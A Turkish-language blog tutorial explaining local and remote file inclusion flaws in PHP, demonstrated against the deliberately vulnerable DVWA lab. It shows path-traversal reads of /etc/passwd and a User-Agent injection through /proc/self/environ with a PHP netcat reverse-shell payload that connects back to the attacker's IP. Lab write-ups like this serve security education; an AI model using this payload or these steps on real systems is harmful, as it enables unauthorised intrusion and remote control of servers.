
File Inclusion Açığı (Remote File Inclusion ve Local File Inclusion – RFI & LFI)
Web uygulama güvenliğinde çok farklı açık türleri mevcut.(Eğer Burp Suite ile yaptığımız Brute Force yazısını incelemek isterseniz buraya tıklayabilirsiniz.) SQL injection, XSS kadar popüler olmasa da bir diğer eski ve php kaynaklı olan açık türü de file inclusion açığıdır ve kendi içerisinde ikiye ayrılmaktadır. Local File Inclusion (LFI) ve Remote File Inclusion (RFI) olarak ikiye ayrılan açıklardır ve artık eskisi kadar yaygın olmasa da hala karşılaşılabilen bir açık türüdür. Web hacking ile uğraşan herkesin yolu burp suite düşmüştür diye tahmin ediyorum. Kullanmamış iseniz bie adını duymuşsunuzdur. Bu açığı sömürürken Burp Suite’den yardım alacağız. Daha fazla uzatmadan başlayalım.
[toc]
File Inclusion Açığı Nedir?
Hedef siteye dosya sokmamıza yada erişememiz gereken bir dosyaya erişmemize olanak sağlayan bir açık türüdür. Php ile kodlanan sistemlerde görülürür. Günümüzde çok az görülmektedir. Kendi içerisinde LFI ve RFI açığı olarak ikiye ayrılır.
Local File Inclusion
Sunucuda normalde görmememiz gereken, gizlenmiş olması gereken bir dosyayı yada dosyaları okumamıza olanak sağlayan açık.
Remote File Inclusion
Sunucuya dosya ekleyip kendi kodumuzu çalıştırmamıza olanak sağlayan açık.
File Inclusion Açığı Nasıl Kullanılır
Ben bu yazıda, her zamanki gibi DVWA üzerinden açığı düşük seviye ile inceleyeceğiz. DVWA’ı açıp File Inclusion bölümüne gittikten sonra aşağıdaki URL ile açık var mı diye kontrolünü sağlıyoruz.
Yukarıda yaptığımız şey /etc/passwd
içeriğini okuma isteğini sunucuya iletmek oldu. Linux sistemlerde kullanıcılara ait bilgiler /etc/passwd dizininde bulunur ve bunu dışarıdan okumamız engellenmiş olmalıdır. Eğer biz bu dosyanın içeriğine dışarıdan erişebiliyorsak, burada file inclusion açığı var diyebiliriz. Sonuç olarak sayfanın bize çıktısı ise aşağıdaki gibi oldu.
Yukarıda da göreceğiniz üzere normalde erişememiz gereken bir dosyayı erişip içeriğini okuduk. Yani evet, bu sayfada file inclusion açığı varmış. Bazen içeriğe direkt olarak /etc/passwd ile erişemeyebiliriz. Yazılımcı “/” işaretini filtrelemiş olabilir bunun için aşağıdaki alternatif yöntemleri kullanmamız gerekebilir.
Yukarıda ../../../../../../../etc/passwd kızmı kafanızı karıştırmış olabilir. Burada yaptığımız şey tam olarka root dizinine çıkıp oradan /etc/passwd dizinine geçmek oldu. Kaç tane “../” kullandığınızın bir önemi yok. İsterseniz şuan hemen bir terminal açıp deneyebilirsiniz isterseniz bir milyon tane “cd ..” komutu kullanın “/” dizinine ulaştıktan sonra başka bir yere çıkamıyorsunuz.
Sayfada açık olduğunu tespit ettiğimize göre artık Burp Suite açıp manüplasyon işlemine başlayabiliriz. Burp suite açmadan önce onun kullanacağı proxy ayarlarını ve sertifika yükleme işlemlerini yapmanız gerektiğini unutmayın. Kullanacağımız php kodu ise aşağıdaki gibidir.
Kopyalamak isterseniz:
<?php system('nc -e /bin/sh ip_adresiniz port'); ?>
1. Adım: Yukarıdaki php kodu hedef sitemde bir reverse netcat shell’i oluşturuyor ve verdiğimiz ip adresine belirlediğimiz porttan bağlanıyor. Bunun için ilk olarak kendi bilgisayarımızda bu portu netcat ile dinlemeye almamız gerek. Bunun için de aşağıdaki komutu çalıştırıyoruz.
Şuan 4040 portunu dinlemeye aldım. Sırada Burp Suite ile bu porta bağlantı kurmak var.
2. Adım: Burp Suite açtıktan sonra intercept kısmını on duruma getirip /etc/passwd yerine “/proc/self/environ” dizinine gitmemiz gerekiyor. Biz bu sayfaya gitmek için istek yaptığımızda, burp isteği durduracak ve proxy kısmına getirecektir. Daha sonra User Agent* kısmında değişiklik yapmamız gerekecek. Yukarıda yazdığım kodu oraya eklemeliyiz. Yani aşağıdaki gibi olmalı.
Forward butonu ile isteği ilettiğimiz vakit terminalimizde bir değişiklik meydana geliyor.
Gördüğünüz gibi şuan hedef sisteme sızdık, hatta “ls” ve “pwd” komutları ile test ettik ve herhangi bir sıkıntı yok. Artık ne yapmak istiyorsak yapabiliriz…
Konumuz bu kadardı. Tabi DVWA üzerindeki güvenlik seviyesi düşük olduğu için çok zor olmadı. Eğer yazılı kaynaklardan hoşlanmıyorsanız aşağıya videolu anlatımını bırakıyorum. Kanalıma da abone olursanız memnun olurum. Sorun yaşadığınız noktalarda yorum yaparsanız yardımcı olmaya çalışabilirim.
Videolu Anlatım
Kaynaklar:
Netsparker
https://en.wikipedia.org/wiki/File_inclusion_vulnerability
https://canyoupwn.me/tr-php-file-inclusion-vulnerability/

Uzun süre Blogger’de acaaba.com adresinde yazılar yazdım. Genel olarak teknoloji, sanat ve psikoloji üzerine bir internet sitesi. Yaklaşık 3 yıldır aralıklı olarak siber güvenlik ile ilgilendim, 2 yıldır da profesyonel olarak bu alanda çeşitli çalışmalar yapmaktayım.